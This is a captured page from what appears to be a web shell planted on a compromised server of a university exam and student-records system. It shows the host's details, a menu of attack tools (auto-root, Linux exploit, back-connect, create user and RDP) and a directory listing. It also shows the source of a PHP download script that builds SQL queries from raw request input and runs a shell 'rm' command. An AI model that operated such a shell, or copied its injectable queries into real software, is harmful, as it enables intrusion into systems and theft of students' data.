Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.141.201.46
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sikkim /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
Ext-MarkEntry-Setup.php
21.23
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
21.15
KB
-rwxr-xr-x
MarkEntry-Setup06.06.2016.php
20.43
KB
-rwxr-xr-x
MarkEntry-SetupTEST.php
21.01
KB
-rwxr-xr-x
MarkEntry-Setup_28102014.php
22.99
KB
-rwxr-xr-x
TAGMAY2013.pdf
331.03
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
7.3
KB
-rwxr-xr-x
absent_entry_setup_old.php
7.61
KB
-rwxr-xr-x
ack_exam_app_form.php
15.86
KB
-rwxr-xr-x
ack_exam_app_form11.php
13.87
KB
-rwxr-xr-x
ack_exam_app_form22.php
13.83
KB
-rwxr-xr-x
ack_exam_app_form_07032014.php
9
KB
-rwxr-xr-x
ack_exam_app_form_14032014.php
9.6
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.76
KB
-rwxr-xr-x
ack_rv_rt_application.php
8.5
KB
-rwxr-xr-x
ack_rv_rt_application01032017....
7.58
KB
-rwxr-xr-x
ack_rv_rt_application28072016....
7.57
KB
-rwxr-xr-x
ack_rv_rt_application_5days.ph...
7.41
KB
-rwxr-xr-x
ack_rv_rt_application_before_l...
6.02
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
attendance.php
6.13
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
bundle_dispatch.php
2.84
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
42.45
KB
-rwxr-xr-x
candidate-entry1.php
37
KB
-rwxr-xr-x
candidate-entry24082012.php
33.21
KB
-rwxr-xr-x
candidate-entry_220413.php
33.21
KB
-rwxr-xr-x
candidate-entry_without_iapr_i...
34.88
KB
-rwxr-xr-x
candidate-entrybefore yearexam...
34.55
KB
-rwxr-xr-x
candidate-entrykus.php
33.23
KB
-rwxr-xr-x
candidate-entryold.php
34.55
KB
-rwxr-xr-x
cappcontext.php
2.64
KB
-rwxr-xr-x
challan_entries.php
13.34
KB
-rwxr-xr-x
challan_preparation.php
10.28
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
college.php
4.61
KB
-rwxr-xr-x
college_BEFORE_LOGINPOPUP.php
3.5
KB
-rwxr-xr-x
college_degree_status.php
5.86
KB
-rwxr-xr-x
collegewisedownload.php
5.7
KB
-rw-rw-r--
coutput.php
1.75
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
4.06
KB
-rwxr-xr-x
degree.php
6.51
KB
-rwxr-xr-x
degree1.php
6.78
KB
-rwxr-xr-x
display_details_in_grid.php
105.31
KB
-rwxr-xr-x
display_details_in_grid0306201...
101.68
KB
-rwxr-xr-x
display_details_in_grid22.php
102.08
KB
-rwxr-xr-x
display_details_in_grid_240320...
98.86
KB
-rwxr-xr-x
display_details_in_grid_before...
98.71
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.68
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
download_misc_files.php
3.3
KB
-rwxr-xr-x
download_misc_files_19062014.p...
3.25
KB
-rwxr-xr-x
download_photo.php
5.77
KB
-rw-rw-r--
download_photo_old.php
4.82
KB
-rwxr-xr-x
download_photo_sikkim_14082021...
5
KB
-rwxr-xr-x
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_23.php
120
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rwxrwxrwx
examAppchallan_entries.php
13.01
KB
-rwxr-xr-x
examAppchallan_preparation.php
9.87
KB
-rwxr-xr-x
execute_query.php
2.5
KB
-rwxr-xr-x
execute_query27062012.php
2.51
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
ext_freeze_module_at_admin_col...
8.58
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
8.65
KB
-rwxr-xr-x
freeze_module_at_admin_college...
5.81
KB
-rwxr-xr-x
freeze_module_at_admin_college...
7.76
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
33.44
KB
-rwxr-xr-x
getdata110911.php
16.03
KB
-rwxr-xr-x
getdata22.php
28.7
KB
-rwxr-xr-x
getdata27062012.php
16.8
KB
-rwxr-xr-x
getdata_24032015.php
20.96
KB
-rwxr-xr-x
getfeeinformation.php
6.17
KB
-rwxr-xr-x
getmoduledetails.php
23.7
KB
-rwxr-xr-x
getnumword.php
7.42
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
8.39
KB
-rwxr-xr-x
login.php_1
3.25
KB
-rwxr-xr-x
login27062012.php
2.85
KB
-rwxr-xr-x
login_03032015.php
3.6
KB
-rwxr-xr-x
login_BEFORE_LOGINPOPUP.php
3.25
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
markEntry-Setup2.php
21.93
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
73.53
KB
-rwxr-xr-x
mregistry22.php
66.82
KB
-rwxr-xr-x
mregistry24042015.php
55.01
KB
-rwxr-xr-x
mregistry_16012017.php
65.48
KB
-rwxr-xr-x
mregistry_before_subupdtostud_...
52.68
KB
-rwxr-xr-x
mregistry_beforedownload.php
53.04
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
receive_rv_rt_application.php
7.65
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
room_allotment.php
7.21
KB
-rwxr-xr-x
rvdates.php
6.46
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
student_entry.php
37.9
KB
-rwxr-xr-x
student_entry1307.php
37.71
KB
-rwxr-xr-x
student_entry17.06.2016.php
36.46
KB
-rwxr-xr-x
student_entry27062012.php
30.47
KB
-rwxr-xr-x
student_entry_09102019.php
33.1
KB
-rwxr-xr-x
student_entry_old_06102019.php
34.07
KB
-rwxr-xr-x
student_entryold.php
30.33
KB
-rwxr-xr-x
subjectList_display.php
11.01
KB
-rwxr-xr-x
subject_freshExam.php
32.57
KB
-rw-rw-r--
subject_freshExam_15072022.php
28.44
KB
-rwxr-xr-x
subjectfreez.php
6.23
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
75.5
KB
-rwxr-xr-x
teachers.php
10.33
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
3.86
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatefreshexam.php
1.33
KB
-rw-rw-r--
upload_studentPhoto.php
10.29
KB
-rwxr-xr-x
upload_studentPhoto02062015.ph...
11.58
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
usersetup.php
24.33
KB
-rwxr-xr-x
usersubj_identification.php
4.77
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : collegewisedownload.php
<?php require_once(_DIR_."/../../aws/aws-autoloader.php"); use Aws\S3\S3Client; use Aws\S3\Exception\S3Exception; function replaceChars($name){ $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ",""); $link_name = strtolower(str_replace($spl_char,"_",$name)); return str_ireplace("__","_",$link_name); } function loadAllCollege($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $query = "select fcollcode, fcollname from college;"; $result = $aobj_context->mobj_db->GetAll($query); if($result){ echo $aobj_context->mobj_output->ToJSONEnvelope($result,0,"success"); }else{ $arr['msg'] = 'Failed to load'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); } } function downloadConvoPhotos($aobj_context){ $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); ini_set('max_execution_time', '900'); ini_set('memory_limit','1G'); $collcode = $aobj_context->mobj_data['college']; $regfrom = $aobj_context->mobj_data['regfrom']; $regto = $aobj_context->mobj_data['regto']; $funivcode = $_SESSION['FUNIVCODE']; if($funivcode === "051"){ $sltSud="select fregno, fphotopath from student where fcollcode = '{$collcode}' and fregno between '{$regfrom}' and '{$regto}' and ifnull(fphotopath,'') != '' order by fregno"; }else if($funivcode === "052"){ $sltSud="select fregno, fphotopath from dctran where fcollcode = '{$collcode}' and fregno between '{$regfrom}' and '{$regto}' and ifnull(fphotopath,'') != '' order by fregno"; }else{ $sltSud="select fregno, fphotopath from student where fcollcode = '{$collcode}' and fregno between '{$regfrom}' and '{$regto}' and ifnull(fphotopath,'') != '' order by fregno"; } // var_dump($sltSud);die(); $resStud = $aobj_context->mobj_db->GetAll($sltSud); $dateFormat = "select CONCAT(DAY(NOW()),MONTH(NOW()),YEAR(NOW()),HOUR(NOW())) as dateFormat "; $resDateFormat = $aobj_context->mobj_db->getRow($dateFormat); $destination = $aobj_context->main_src.'/'.$aobj_context->mobj_data["db"]."/tmpcnvphotos/".$collcode.$resDateFormat['dateFormat'].'/'; // var_dump($destination); // die(); $s3 = S3Client::factory(array( 'credentials' => array( 'key' => IAM_KEY, 'secret' => IAM_SECRET ), 'version' => "latest", 'region' => 'ap-south-1' )); foreach($resStud as $val){ $photo_path = $val['fphotopath']; $file_name=replaceChars(basename($photo_path)); if(!is_dir($destination)){ mkdir($destination); chmod($destination, 0777); } $regno_index = $val['fregno']; $ext = pathinfo($file_name, PATHINFO_EXTENSION); $full_file_path= $destination.$regno_index.".".$ext; $target_file = $full_file_path; if (file_exists( $target_file )) { $ifmodhdr = 'If-Modified-Since: '.date( "r", filemtime( $target_file ) )."\r\n"; } else { $ifmodhdr = ''; } try{ if($funivcode !== "051"){ $rc = $s3->getObject(['Bucket' => 'university-cnv-student-photos', 'Key' => $photo_path, 'SaveAs' => $target_file]); }else{ $rc = $s3->getObject(['Bucket' => STUDENT_PHOTOS_BUCKET, 'Key' => $funivcode."/".$photo_path, 'SaveAs' => $target_file]); } } catch(S3Exception $e) { $excepted = true; } finally { } } $the_folder = $destination; $zip_file_name = $aobj_context->mobj_data["db"]."/tmpcnvphotos/"."{$collcode}{$resDateFormat['dateFormat']}.zip"; $download_file= true; $za = new FlxZipArchive; $res = $za->open($zip_file_name, ZipArchive::CREATE); if($res === TRUE) { $za->addDir($the_folder, basename($the_folder)); $za->close(); }else{ echo 'Could not create a zip archive'; } if($download_file){ $command = "rm -r $desDirectry"; $res = exec($command); ob_get_clean(); header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private", false); header("Content-Type: application/zip"); header("Content-Disposition: attachment; filename=" . basename($zip_file_name) . ";" ); header("Content-Transfer-Encoding: binary"); header("Content-Length: " . filesize($zip_file_name)); readfile($zip_file_name); } unlink($zip_file_name); unlink($destination); } class FlxZipArchive extends ZipArchive { public function addDir($location, $name) { $this->addDirDo($location, $name); } private function addDirDo($location, $name) { $name .= '/'; $location .= '/'; $dir = opendir ($location); while ($file = readdir($dir)){ if ($file == '.' || $file == '..') continue; // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File(); $do = (filetype( $location . $file) == 'dir') ? 'addDir' : 'addFile'; $this->$do($location . $file, $name . $file); } } } ?>
Close